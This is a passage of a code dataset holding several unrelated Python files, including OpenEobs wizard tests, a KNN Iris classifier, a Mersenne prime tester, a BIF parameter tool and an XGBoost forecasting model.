\"MFSL-I\"}]\nwhile True:\n get(con, 'NFO', str(instrumentidentifier4), 'false')\n","repo_name":"sammathur4/option_aro_server_python","sub_path":"20june/get_last_quote_arrays/api4.py","file_name":"api4.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"29704884879","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\n\r\nN, L = map(int, input().split())\r\narr = [list(map(int, input().split())) for _ in range(N)]\r\n\r\narr.sort(key=lambda x: x[0])\r\n\r\nanswer = 0\r\nstart = 0\r\nfor i in range(N):\r\n start = arr[i][0] if arr[i][0] > start else start\r\n\r\n diff = arr[i][1] - start\r\n remainder = 1\r\n\r\n if arr[i][1] > start:\r\n if diff % L == 0:\r\n remainder = 0\r\n\r\n count = diff // L + remainder\r\n start += count * L\r\n answer += count\r\n\r\nprint(answer)","repo_name":"RUNGOAT/Algorithm_study","sub_path":"백준/Silver/1911. 흙길 보수하기/흙길 보수하기.py","file_name":"흙길 보수하기.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"28719736936","text":"from collections import namedtuple\nfrom mock import MagicMock\n\nfrom openerp.tests.common import SingleTransactionCase\n\n\nclass TestTransferPatientWizard(SingleTransactionCase):\n\n def setUp(self):\n super(TestTransferPatientWizard, self).setUp()\n self.transfer_wizard = self.registry('nh.clinical.transfer.wizard')\n self.api = self.registry('nh.eobs.api')\n\n def mock_browse_transfer_wizard(*args, **kwargs):\n \"\"\"Return mock TransferPatientWizard object.\"\"\"\n location = namedtuple('Location', ['code'])\n patient = namedtuple('Patient', ['other_identifier'])\n transfer_wizard = namedtuple(\n 'TransferWizard', ['patient_id', 'transfer_location_id'])\n bed = location('A')\n patient = patient(2)\n return transfer_wizard(patient, bed)\n\n self.transfer_wizard._patch_method(\n 'browse', mock_browse_transfer_wizard)\n\n def tearDown(self):\n self.transfer_wizard._revert_method('browse')\n\n def test_transfer_calls_api_transfer(self):\n cr, uid = self.cr, self.uid\n self.api.transfer = MagicMock(return_value=True)\n\n result = self.transfer_wizard.transfer(cr, uid, [1], context=None)\n\n self.assertEqual(result, True)\n self.api.transfer.assert_called_with(\n cr, uid, 2, {'location': 'A'}, context=None)\n\n del self.api.transfer\n\n\nclass TestDischargePatientWizard(SingleTransactionCase):\n\n def setUp(self):\n super(TestDischargePatientWizard, self).setUp()\n self.discharge_wizard = self.registry('nh.clinical.discharge.wizard')\n self.api = self.registry('nh.eobs.api')\n\n def test_discharge_calls_api_discharge(self):\n cr, uid = self.cr, self.uid\n self.api.discharge = MagicMock(return_value=True)\n\n def mock_browse_discharge_wizard(*args, **kwargs):\n \"\"\"Return mock DischargePatientWizard object.\"\"\"\n patient = namedtuple('Patient', ['other_identifier'])\n discharge_wizard = namedtuple(\n 'DischargeWizard', ['patient_id'])\n patient = patient(2)\n return discharge_wizard(patient)\n\n self.discharge_wizard._patch_method(\n 'browse', mock_browse_discharge_wizard)\n\n result = self.discharge_wizard.discharge(cr, uid, [1], context=None)\n self.discharge_wizard._revert_method('browse')\n\n self.assertEqual(result, True)\n self.assertTrue(self.api.discharge.called)\n\n del self.api.discharge\n\n\nclass TestCancelAdmitWizard(SingleTransactionCase):\n\n def setUp(self):\n super(TestCancelAdmitWizard, self).setUp()\n self.visit_wizard = self.registry('nh.clinical.cancel_admit.wizard')\n self.api = self.registry('nh.eobs.api')\n\n def test_cancel_visit_calls_api_cancel_admit(self):\n cr, uid = self.cr, self.uid\n self.api.cancel_admit = MagicMock(return_value=True)\n\n def mock_browse_cancel_visit_wizard(*args, **kwargs):\n \"\"\"Return mock CancelVisitWizard object.\"\"\"\n patient = namedtuple('Patient', ['other_identifier'])\n visit_wizard = namedtuple(\n 'CancelVisitWizard', ['patient_id'])\n patient = patient(2)\n return visit_wizard(patient)\n\n self.visit_wizard._patch_method(\n 'browse', mock_browse_cancel_visit_wizard)\n\n result = self.visit_wizard.cancel_admit(cr, uid, [1], context=None)\n self.visit_wizard._revert_method('browse')\n\n self.assertEqual(result, True)\n self.api.cancel_admit.assert_called_with(cr, uid, 2, context=None)\n\n del self.api.cancel_admit\n","repo_name":"openeobs/openeobs","sub_path":"nh_eobs_adt_gui/tests/test_wizards.py","file_name":"test_wizards.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"19"} +{"seq_id":"14551030805","text":"import pandas as pd\nimport plotly.graph_objs as go\n\n# Carga los datos\ndf = pd.read_csv('datos.csv')\n\n# Crea un gráfico de barras\ndata = [go.Bar(x=df['mes'], y=df['ventas'])]\nlayout = go.Layout(title='Ventas por mes')\nfig = go.Figure(data=data, layout=layout)\n\n# Guarda el gráfico en un archivo HTML\nfig.write_html('grafica.html')\n","repo_name":"CelesteJS/PandasPlotPy","sub_path":"Client/Graficas.py","file_name":"Graficas.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27423840287","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"segmentation_c_elegans_3d.py\nRead in a set of images in brightfield and GFP.\nCreate a mask around the worm.\nIdentify nuclei that are flourescing.\nMeasure the intensity of nuclei individually.\n\"\"\"\n\nimport os\nimport matplotlib.pyplot as plt\nfrom skimage.io import imsave\nfrom utils import *\nfrom optparse import OptionParser\nDEFAULT_INPUT_DIR = '/Users/david/work/MunskyColab/data/201002_JM149_elt-2_Promoter_Rep_1/L4440_RNAi/L1/JM149_L1_L4440_worm_3'\nUSAGE = \"%prog [options] dirname\\nRead max projections from pickle, or calculate them if necessary/requested.\\n\\nIF no dirname is specified, defaults to:\\n\" + DEFAULT_INPUT_DIR\n\ndef main():\n parser = OptionParser(usage=USAGE)\n parser.add_option(\"-r\", \"--recalculate\", \n action=\"store_true\", \n dest=\"recalculate\",\n help=\"if not stored in pickle file, re-read in all z-stacks and compute max projections\")\n parser.add_option(\"-p\", \"--do-plots\",\n action=\"store_true\",\n dest=\"do_plots\",\n help=\"Save max projections for Brightfield and GFP in a multipanel plot.\")\n parser.add_option(\"-s\", \"--save-imgs\",\n action=\"store_true\",\n dest=\"save_imgs\",\n help=\"Write PNGs for calculated max projections\")\n \n (options, args) = parser.parse_args()\n if options.recalculate is None: options.recalculate = False\n print(options)\n print(len(args), args)\n \n\n if len(args) > 0:\n path_dir = args[0]\n else:\n #path_dir = '/Volumes/onishlab_shared/PROJECTS/32_David_Erin_Munskylab/Izabella_data/Keyence_data/201002_JM149_elt-2_Promoter_Rep_1/L4440_RNAi/L1/JM149_L1_L4440_worm_1'\n #path_dir = '/Volumes/onishlab_shared/PROJECTS/32_David_Erin_Munskylab/Izabella_data/Keyence_data/201124_JM259_elt-2_Promoter_Rep_1/ELT-2_RNAi/L1/JM259_L1_ELT-2_worm_4'\n path_dir = DEFAULT_INPUT_DIR\n \n\n\n print(\"reading\", path_dir)\n \n os.chdir(path_dir)\n current_dir = pathlib.Path().absolute()\n\n# get worm info from path and filename\n try:\n longname,RNAi,stage,shortname = path_dir.split(os.path.sep)[-4:]\n # i.e. 201124_JM259_elt-2_Promoter_Rep_1, ELT-2_RNAi, L1, JM259_L1_ELT-2_worm_1\n datestr, genotype, labl, _, _, repnum = longname.split('_')\n except ValueError:\n print(\"Error parsing: `%s`\" % longname)\n raise\n\n wormnumber = shortname.split('_')[-1]\n full_name_prefix = f\"{genotype}_{RNAi}_{stage}_Rep{repnum}_Worm{wormnumber}\"\n\n # check for pickle file, initialize data if not present\n datakey, datasave, data = init_or_load_data(genotype, repnum, stage, RNAi, wormnumber)\n\n if options.recalculate or 'max_GFP' not in datasave or 'max_Brightfield' not in datasave or 'image_ZYXC' not in datasave:\n max_GFP, max_Brightfield, image_ZYXC = read_into_max_projections(path_dir)\n datasave['max_GFP'] = max_GFP\n datasave['max_Brightfield'] = max_Brightfield\n datasave['image_ZYXC'] = image_ZYXC\n else:\n max_GFP = datasave['max_GFP']\n max_Brightfield = datasave['max_Brightfield']\n image_ZYXC = datasave['image_ZYXC']\n \n print('Range in GFP: min', np.min(max_GFP), 'max',np.max(max_GFP))\n print('Range in Brightfield: min', np.min(max_Brightfield), 'max', np.max(max_Brightfield))\n\n if options.do_plots:\n plotname = f\"{full_name_prefix}_max_projections\"\n print(\"Plotting max projections:\", plotname)\n color_map = 'Greys_r'\n fig, ax = plt.subplots(1,2, figsize=(10, 3))\n fig.suptitle(f\"{full_name_prefix} max. projections\")\n # Plotting the heatmap of a section in the image - MISPLACED LABEL? - DK\n # print(\"Plotting the heatmap of a section in the image\")\n ax[0].imshow(max_Brightfield,cmap=color_map)\n ax[1].imshow(max_GFP,cmap=color_map)\n ax[0].set(title='max_Brightfield'); ax[0].axis('on');ax[0].grid(False)\n ax[1].set(title='max_GFP'); ax[1].axis('on');ax[1].grid(False)\n plt.savefig(plotname + '.png')\n plt.close()\n \n if options.save_imgs:\n imsave(f\"{full_name_prefix}_max_GFP.png\", max_GFP)\n imsave(f\"{full_name_prefix}_max_Brightfield.png\", max_Brightfield)\n\n save_data(data) # write pickle file\n\nif __name__ == '__main__': main()","repo_name":"meekrob/MunskyCollab","sub_path":"read_and_save_images.py","file_name":"read_and_save_images.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"884407723","text":"import argparse\n\n\ndef get_tables(bif_content: str):\n probability_str = bif_content.split('probability ')[1:]\n table_dict = {}\n for prob in probability_str:\n node_and_parents = prob.split('(')[1].split(')')[0].strip()\n node = node_and_parents.split('|')[0].strip()\n parents = []\n if len(node_and_parents.split('|')) > 1:\n parents = node_and_parents.split('|')[1].split(',')\n parents = [p.strip() for p in parents]\n if len(parents) == 0:\n probabilities = prob.split('table')[1].split(';')[0].split(',')\n probabilities = {tuple(): [p.strip() for p in probabilities]}\n else:\n probabilities = {}\n lines = prob.split('{\\n')[1].split('}')[0].split(';')[:-1]\n parent_valuations = {}\n i = 0\n for line in lines:\n parent_values = line.split('(')[1].split(')')[0].split(',')\n parent_values = [pv.strip() for pv in parent_values]\n parent_values = tuple(parent_values)\n parent_valuations[i] = parent_values\n i += 1\n prob_array = line.split(')',1)[1].split(',')\n prob_array = [p.strip() for p in prob_array]\n probabilities[parent_values] = prob_array\n\n temp_dict = {}\n temp_dict['parents'] = parents\n temp_dict['probabilities'] = probabilities\n if len(parents) >= 1:\n temp_dict['parent_valuations_in_order'] = parent_valuations\n\n table_dict[node] = temp_dict\n return table_dict\n\n\ndef add_parameters_to_cpt_by_parents(cpt, evaluation_of_parents, number_of_existing_parameters):\n number_of_params = number_of_existing_parameters\n\n if evaluation_of_parents != None:\n #print(evaluation_of_parents)\n for evaluation in evaluation_of_parents:\n #print(evaluation)\n evaluation = evaluation.split(',')\n evaluation = [e.strip() for e in evaluation]\n evaluation = tuple(evaluation)\n probability_row_old = cpt['probabilities'][evaluation]\n probability_row_new = [f'p{number_of_params}']\n for entry in probability_row_old[1:]:\n probability_row_new.append(f'{entry}*((1-p{number_of_params})/(1-{probability_row_old[0]}))')\n cpt['probabilities'][evaluation] = probability_row_new\n number_of_params += 1\n parameter_string = ''\n for i in range(number_of_params):\n parameter_string += f'parameter p{i}'+ '{\\n}\\n\\n'\n return (cpt['probabilities']), parameter_string\n\ndef add_parameters_to_cpt_by_number(cpt, number):\n number_of_params = 0\n if number != None:\n if len(cpt['parents']) > 0:\n for i in range(number):\n evaluation = cpt['parent_valuations_in_order'][i]\n probability_row_old = cpt['probabilities'][evaluation]\n probability_row_new = [f'p{number_of_params}']\n for entry in probability_row_old[1:]:\n probability_row_new.append(f'{entry}*((1-p{number_of_params})/(1-{probability_row_old[0]}))')\n cpt['probabilities'][evaluation] = probability_row_new\n number_of_params += 1\n else:\n probability_row_old = cpt['probabilities']\n probability_row_new = [f'p{number_of_params}']\n for entry in probability_row_old[1:]:\n probability_row_new.append(f'{entry}*((1-p{number_of_params})/(1-{probability_row_old[0]}))')\n cpt['probabilities'] = probability_row_new\n number_of_params += 1\n parameter_string = ''\n for i in range(number_of_params):\n parameter_string += f'parameter p{i}' + '{\\n}\\n\\n'\n return (cpt['probabilities']), parameter_string\n\ndef add_params_to_bif(bif_file_path, node, evaluation_of_parents, number, output_path, number_of_existing_parameters=0):\n if (evaluation_of_parents != None) and (number != None):\n print('ERROR: You can either use evaluation_of_parents or number, but not both options!')\n\n if (evaluation_of_parents == None) and (number == None):\n print('ERROR: You have to use number or evaluation_of_parents!')\n f = open(bif_file_path, 'r')\n bif_content = f.read()\n f.close()\n table_dict = get_tables(bif_content)\n\n cpt = table_dict[node]\n if evaluation_of_parents != None:\n cpt['probabilities'], parameter_string = add_parameters_to_cpt_by_parents(cpt, evaluation_of_parents, number_of_existing_parameters)\n if number != None:\n cpt['probabilities'], parameter_string = add_parameters_to_cpt_by_number(cpt, number)\n\n new_bif_content = bif_content.split('probability', 1)[0]\n for node_name, node_dict in table_dict.items():\n parent_string = ''\n if len(node_dict['parents']) > 0:\n parent_string = '| ' + ', '.join(node_dict['parents']) + ' '\n table_string = f'probability ( {node_name} {parent_string})' + '{\\n'\n if len(node_dict['parents']) > 0:\n for parents_valuation, probs in node_dict['probabilities'].items():\n table_string += f'({\", \".join(parents_valuation)}) '\n table_string += f'{\", \".join(probs)};\\n'\n new_bif_content += table_string + '}\\n\\n'\n else:\n new_bif_content += table_string + f'table {\", \".join(node_dict[\"probabilities\"])};\\n' + '}\\n\\n'\n new_bif_content += parameter_string\n #print(new_bif_content)\n\n if output_path != None:\n g = open(output_path, 'w')\n g.write(new_bif_content)\n g.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Read Network from bif and add parameters')\n parser.add_argument('path', help='path to NON-PARAMETRIC bif-file', type=str)\n\n parser.add_argument('node', help='node, in which parameters should be added', type=str)\n parser.add_argument('--evaluation_of_parents', help='evaluation of parents marks the line in the CTL should be made parametric; not usable, when number is set', type=str, default=None, nargs='+')\n parser.add_argument('--number', help='number of lines that should be made parametric; not usable, when evaluation_of_parents is set', type=int, default=None)\n parser.add_argument('--existing_params',\n help='number of already existing parameters',\n type=int, default=0)\n parser.add_argument('--output_path', help='path to output-file', type=str)\n args = parser.parse_args()\n\n bif_file_path = args.path\n node = args.node\n # evaluation_of_parents is an array\n evaluation_of_parents = args.evaluation_of_parents\n number = args.number\n existing_params = args.existing_params\n output_path = args.output_path\n add_params_to_bif(bif_file_path, node, evaluation_of_parents, number, output_path, existing_params)\n","repo_name":"BaharSlmn/storm-bn","sub_path":"auxiliary_scripts/add_param_to_bif.py","file_name":"add_param_to_bif.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"37894350471","text":"\"\"\"\nPython library to test Mersenne prime numbers with Lucas-Lehmer algorythm.\n\nThis module contains the core framework classes that form the basis of\nspecific test cases and suites (TestCase, TestSuite etc.), and also a\ntext-based utility class for running the tests and reporting the results\n (TextTestRunner).\n\nSimple usage:\n\n from MersenePrime import MersennePrime\n\n mp = MersenePrime(3)\n print(mp.isPrime())\n\nFurther information is available in the bundled documentation, and from\n\n https://github.com/rmamba/pyLucasLehmer\n\n\"\"\"\n\nimport math\nimport time\n\nclass MersennePrime:\n speed = {\n 'add': 0,\n 'and': 0,\n 'mod': 0,\n 'mod2n': 0,\n 'mul': 0,\n 'smaller': 0,\n 'sub': 0,\n 'square': 0,\n 'total': 0,\n 'list': 0,\n 'div2n': 0\n }\n\n def _remove0s(self, n):\n r = n[:]\n while r[-1] == 0:\n if len(r) == 1:\n break\n del r[-1]\n return r\n\n def _list(self, n):\n t = time.time()\n m = []\n v = n\n m.append(v % 256)\n while v>255:\n v = int(math.floor(v / 256))\n m.append(v % 256)\n self.speed['list'] += time.time() - t\n return m\n\n def _sub(self, n, s, p=0):\n t = time.time()\n z = []\n # if self.debug:\n # print('\\t{}/{}'.format(len(n), len(s)))\n m = n[:]\n for i in range(p, len(s)):\n m[i] -= s[i]\n # if m[i] < 0:\n # z.append(i)\n # if len(z) > 0 :\n # z.append(len(m)-1)\n # for i in range(len(z)-1):\n # for j in range(z[i], z[i+1]):\n # m[j] += 256\n # m[j+1] -= 1\n # if m[j+1] >= 0:\n # j = z[-1]\n for i in range(p, len(m)-1):\n while m[i] < 0:\n m[i] += 256\n m[i+1] -= 1\n if m[i+1] >= 0:\n break\n if m[-1] < 0:\n print(z)\n print(m)\n raise Exception('Negative value.')\n m = self._remove0s(m)\n self.speed['sub'] += time.time() - t\n return m\n\n def _add(self, n, a):\n t = time.time()\n m = n[:]\n while len(m) < len(a):\n m.append(0)\n for i in range(len(a)):\n m[i] += a[i]\n for i in range(len(m)-1):\n while m[i] > 255:\n m[i] -= 256\n m[i+1] += 1\n if m[-1] > 255:\n l = self._list(m[-1])\n m[-1] = l[0]\n for i in range(1, len(l)):\n m.append(l[i])\n self.speed['add'] += time.time() - t\n return m\n\n def _and(self, n, a):\n t = time.time()\n if len(a)<=len(n):\n r = n[0:len(a)]\n q = a[:]\n else:\n r = a[0:len(n)]\n q = n[:]\n for i in range(len(q)):\n r[i] &= q[i]\n r = self._remove0s(r)\n self.speed['and'] += time.time() - t\n return r\n\n def _smaller(self, n, m):\n t = time.time()\n # return true if n<m\n if len(n) < len(m):\n self.speed['smaller'] += time.time() - t\n return True\n if len(n) > len(m):\n self.speed['smaller'] += time.time() - t\n return False\n # else len n==m\n i = len(n) - 1\n while i >= 0:\n if n[i] < m[i]:\n self.speed['smaller'] += time.time() - t\n return True\n if n[i] > m[i]:\n self.speed['smaller'] += time.time() - t\n return False\n i -= 1\n for i in range(len(n)):\n if n[i] != m[i]:\n self.speed['smaller'] += time.time() - t\n return True\n self.speed['smaller'] += time.time() - t\n return False\n\n def _mod(self, n, m):\n t = time.time()\n r = n[:]\n if len(n)<len(m):\n self.speed['mod'] += time.time() - t\n return r\n if self._smaller(n, m):\n self.speed['mod'] += time.time() - t\n return r\n for i in range(len(self._R)):\n while not self._smaller(r, self._R[i]):\n r = self._sub(r, self._R[i], self._Z[i])\n self.speed['mod'] += time.time() - t\n return r\n\n def _mod2n(self, n, m1, m2):\n t = time.time()\n r = self._and(n, m1)\n q = self._div2n(n, m2)\n r = self._add(r, q)\n r = self._mod(r, m1)\n self.speed['mod2n'] += time.time() - t\n return r\n \n def _mul(self, n, m):\n t = time.time()\n r = n[:]\n w = n[:]\n q = m[:]\n while len(r)<len(m):\n r.append(0)\n while len(q)<len(r):\n q.append(0)\n for i in range(len(r)):\n r[i] = 0\n while len(w)<len(r):\n w.append(0)\n for i in range(len(w)):\n for j in range(len(q)):\n r[i+j] += w[i] * q[j]\n r.append(0)\n while r[-1] == 0:\n if len(r) == 1:\n break\n del r[-1]\n for i in range(len(r)-1):\n # if r[i]>255:\n r[i+1] += int(math.floor(r[i] / 256))\n r[i] %= 256\n if r[-1] > 255:\n u = self._list(r[-1])\n r[-1] = u[0]\n for i in range(1, len(u)):\n r.append(u[i])\n self.speed['mul'] += time.time() - t\n return r\n\n # def _div(self, n, d):\n # r = n[:]\n # if self._smaller(n, d):\n # return n[:]\n # return r\n\n def _div2n(self, n, d):\n t = time.time()\n if len(n)<len(d):\n self.speed['div2n'] += time.time() - t\n return [0]\n r = n[:]\n q = d[:]\n p = self._zero(d)\n for i in range(p):\n del r[0]\n del q[0]\n if self._smaller(n, d):\n return n[:]\n self.speed['div2n'] += time.time() - t\n return r\n\n def _square(self, n):\n return self._mul(n[:], n[:])\n\n def _zero(self, n):\n pos = 0\n for i in range(len(n)):\n if n[i] != 0:\n break\n pos += 1\n return pos\n\n def __init__(self, m, debug=False):\n if m<2:\n raise Exception('Number should be bigger than 2.')\n if m%2 != 1:\n raise Exception('Number should be odd.')\n # if m is not prime:\n # raise Esxception('No time wasters please. I can only accept prime numbers.')\n self._m = m\n # P = 2 ** m - 1\n self._P = self._sub(self._list(2 ** m), [1])\n self._R = []\n self._Z = []\n t = self._square(self._P)\n self._R.append(t)\n self._Z.append(self._zero(t))\n self._R.append(self._P)\n self._Z.append(0)\n p = self._P[:]\n p.insert(0, 0)\n while self._smaller(p, self._R[0]):\n self._R.insert(1, p)\n self._Z.insert(1, self._zero(p))\n p = self._mul(p, [2])\n\n self.debug = debug\n self.speed = {\n 'add': 0,\n 'and': 0,\n 'mod': 0,\n 'mod2n': 0,\n 'mul': 0,\n 'smaller': 0,\n 'sub': 0,\n 'square': 0,\n 'total': 0,\n 'list': 0,\n 'div2n': 0\n }\n \n def isPrime(self):\n t = time.time()\n mod = [4]\n for i in range(self._m - 2):\n mod = self._square(mod)\n mod = self._sub(mod, [2])\n mod = self._mod(mod, self._P)\n if self.debug:\n print('{}/{}: {}'.format(i, self._m-3, mod))\n print\n self.speed['total'] = time.time() - t\n if mod == [0]:\n return True\n return False\n","repo_name":"rmamba/pyLucasLehmer","sub_path":"MersennePrime/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"25197851748","text":"'''\n__author__ = justdopython.com\n'''\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom collections import Counter\n\n\n# 生成所要用到的数据集\ndef getData() -> (np.ndarray, np.ndarray, np.ndarray, np.ndarray):\n iris = pd.read_csv('iris.csv').to_numpy()\n train_data = [] # 训练数据,与测试数据按 4:1 比例划分\n test_data = [] # 测试数据\n train_target = [] # 训练数据对应标签\n test_target = [] # 测试数据对应标签\n\n # 原始数据集分为 3 个类别,分别是 0~49,50~99,100~149,各50个\n for i in range(3):\n offset = 50 * i\n data = iris[offset+0:offset+50, :]\n # data = np.random.shuffle(data)\n np.random.shuffle(data) # 就地随机打乱\n\n # try:\n # train_data.append(data[0:39, 1:5].tolist())\n # train_target.append(data[0:39, 5].tolist())\n # test_data.append(data[40:, 1:5].tolist())\n # test_target.append(data[40:, 5].tolist())\n # except NameError:\n # train_data = data[0:39, 1:5].tolist()\n # train_target = data[0:39, 5].tolist()\n # test_data = data[40:, 1:5].tolist()\n # test_target = data[40:, 5].tolist()\n\n train_data.extend(data[0:40, 1:5].tolist())\n train_target.extend(data[0:40, 5].tolist())\n test_data.extend(data[40:, 1:5].tolist())\n test_target.extend(data[40:, 5].tolist())\n\n train_data = np.array(train_data)\n test_data = np.array(test_data)\n train_target = np.array(train_target)\n test_target = np.array(test_target)\n\n return train_data, test_data, train_target, test_target\n\n# 计算距离\ndef calculateDistance(test_data, train_data) -> list:\n distance = []\n for i in range(len(test_data)):\n sub_dist = []\n for j in range(len(train_data)):\n dif_array = test_data[i] - train_data[j]\n dist = np.sqrt(np.sum(dif_array * dif_array))\n sub_dist.append(dist)\n \n distance.append(sub_dist)\n \n distance = np.array(distance)\n \n return distance\n\n# 求解结果\ndef calculateResult(distance, K, train_target):\n results = []\n\n for i in range(len(distance)):\n index = np.argsort(distance[i])[:K]\n result = train_target[index]\n\n # result = pd.value_counts(result)\n\n species = Counter(result).most_common(1)[0][0]\n\n results.append(species)\n \n return results\n\n# 评估结果\ndef estimateResult(results, test_target):\n right = 0\n print('-'*80)\n\n for i in range(len(results)):\n print('Right Species = ', test_target[i], \\\n ', \\tReal Species = ', results[i])\n\n if results[i] == test_target[i]:\n right += 1\n \n right_rate = right / len(results)\n print('-'*80)\n print(\"Right Rate: \", right_rate)\n print('-'*80)\n\n\n return\n\nif __name__ == '__main__':\n print('-'*80)\n K = int(input(\"请输入 K 值:\"))\n\n train_data, test_data, train_target, test_target = getData()\n distance = calculateDistance(test_data, train_data)\n results = calculateResult(distance, K, train_target)\n\n estimateResult(results, test_target)\n\n\n\n\n","repo_name":"JustDoPython/python-100-day","sub_path":"day-117/KNN.py","file_name":"KNN.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":699,"dataset":"github-code","pt":"19"} +{"seq_id":"25428269079","text":"#! /usr/bin/env python3\n\nimport os\nimport asyncio\nimport concurrent\nfrom tempfile import mkstemp\nimport aiofiles\n\nMEGA = 2**20\nTMP_DIRS = [\"/tmp\", \n \"/media/ygingras/writable/tmp/\", \n \"/media/ygingras/9016-4EF8/tmp\"]\n\n\ndef read_rand(size=10*MEGA):\n \"\"\" Read size bytes of true random data. \"\"\"\n return open(\"/dev/random\", \"rb\").read(size)\n\n\nasync def write_many(data, outfile, times=10):\n \"\"\" Write data multiple times in outfile. \"\"\"\n async with aiofiles.open(outfile, \"ab\") as f:\n for i in range(times):\n await f.write(data)\n\nasync def process(fname):\n data = read_rand()\n await write_many(data, fname)\n print(f\"done with {fname}\")\n\nasync def main():\n files = []\n tasks = []\n loop = asyncio.get_running_loop()\n try:\n for i in range(10):\n fd, fname = mkstemp(f\"-{i}.dat\", dir=TMP_DIRS[i%len(TMP_DIRS)])\n files.append(fname)\n \n task = await asyncio.to_thread(process, fname)\n tasks.append(task)\n \n await asyncio.gather(*tasks)\n\n finally:\n # cleanup\n print(\"star up cleanup\")\n os.system(\"rm -f %s &\" % \" \".join(files))\n os.system(\"sleep 30 &\")\n print(\"done with cleanup\")\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n \n","repo_name":"python-uh/python-uh-github.io-src","sub_path":"Slides/Yannick_Gingras_Session1/slow-3-async.py","file_name":"slow-3-async.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72491888684","text":"import sys\nimport os\nsys.path.insert(0, os.path.abspath('..'))\n\nfrom preprocess.preparedata import PrepareData\nimport numpy as np\nfrom utility.runtype import RunType\nfrom utility.datafilepath import g_singletonDataFilePath\nfrom preprocess.splittrainvalidation import HoldoutSplitMethod\nimport xgboost as xgb\nfrom evaluation.sklearnmape import mean_absolute_percentage_error_xgboost\nfrom evaluation.sklearnmape import mean_absolute_percentage_error\nfrom utility.modelframework import ModelFramework\nfrom utility.xgbbasemodel import XGBoostGridSearch\nfrom evaluation.sklearnmape import mean_absolute_percentage_error_xgboost_cv\nfrom utility.xgbbasemodel import XGBoostBase\nimport logging\nimport sys\n\n\nclass DidiXGBoostModel(XGBoostBase, PrepareData, XGBoostGridSearch):\n def __init__(self):\n PrepareData.__init__(self)\n XGBoostGridSearch.__init__(self)\n XGBoostBase.__init__(self)\n self.best_score_colname_in_cv = 'test-mape-mean'\n self.do_cross_val = False\n self.train_validation_foldid = -2\n if self.do_cross_val is None:\n root = logging.getLogger()\n root.setLevel(logging.DEBUG)\n root.addHandler(logging.StreamHandler(sys.stdout))\n root.addHandler(logging.FileHandler('logs/finetune_parameters.log', mode='w'))\n \n return\n def set_xgb_parameters(self):\n early_stopping_rounds = 3\n self.xgb_params = {'silent':1, 'colsample_bytree': 0.8, 'silent': 1, 'lambda ': 1, 'min_child_weight': 1, 'subsample': 0.8, 'eta': 0.01, 'objective': 'reg:linear', 'max_depth': 7}\n# self.xgb_params = {'silent':1 }\n self.xgb_learning_params = {\n 'num_boost_round': 200,\n 'callbacks':[xgb.callback.print_evaluation(show_stdv=True),xgb.callback.early_stop(early_stopping_rounds)],\n 'feval':mean_absolute_percentage_error_xgboost_cv}\n if self.do_cross_val == False:\n self.xgb_learning_params['feval'] = mean_absolute_percentage_error_xgboost\n return\n def get_paramgrid_1(self):\n \"\"\"\n This method must be overriden by derived class when its objective is not reg:linear\n \"\"\"\n param_grid = {'max_depth':[6], 'eta':[0.1], 'min_child_weight':[1],'silent':[1], \n 'objective':['reg:linear'],'colsample_bytree':[0.8],'subsample':[0.8], 'lambda ':[1]}\n return param_grid\n \n def get_paramgrid_2(self, param_grid):\n \"\"\"\n This method must be overriden by derived class if it intends to fine tune parameters\n \"\"\"\n self.ramdonized_search_enable = False\n self.randomized_search_n_iter = 150\n self.grid_search_display_result = True\n \n param_grid['eta'] = [0.01] #train-mape:-0.448062+0.00334926 test-mape:-0.448402+0.00601761\n# param_grid['max_depth'] = [7] #train-mape:-0.363007+0.00454276 test-mape:-0.452832+0.00321641\n# param_grid['colsample_bytree'] = [0.8]\n param_grid['max_depth'] = range(5,8) #train-mape:-0.363007+0.00454276 test-mape:-0.452832+0.00321641\n param_grid['colsample_bytree'] = [0.6,0.8,1.0]\n \n# param_grid['lambda'] = range(1,15)\n# param_grid['max_depth'] = [3,4]\n# param_grid['eta'] = [0.01,0.1] # 0.459426+0.00518875\n# param_grid['subsample'] = [0.5] #0.458935+0.00522205\n# param_grid['eta'] = [0.005] #0.457677+0.00526401\n return param_grid\n \n def get_learning_params(self):\n \"\"\"e\n This method must be overriden by derived class if it intends to fine tune parameters\n \"\"\"\n num_boost_round = 100\n early_stopping_rounds = 5\n \n\n \n kwargs = {'num_boost_round':num_boost_round, 'feval':mean_absolute_percentage_error_xgboost_cv,\n 'callbacks':[xgb.callback.print_evaluation(show_stdv=True),xgb.callback.early_stop(early_stopping_rounds)]}\n return kwargs\n\nif __name__ == \"__main__\": \n obj= DidiXGBoostModel()\n obj.run()","repo_name":"LevinJ/Supply-demand-forecasting","sub_path":"implement/xgboostmodel.py","file_name":"xgboostmodel.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"19"} +{"seq_id":"31173705505","text":"import argparse\nimport os\n\nfrom src.processing.parse_docs_sax import *\n\n\ndef create_vocab(embeddings_filepath):\n word_count = 0\n word_int_map = {}\n\n print(\"Creating vocab for %s\" % embeddings_filepath)\n with 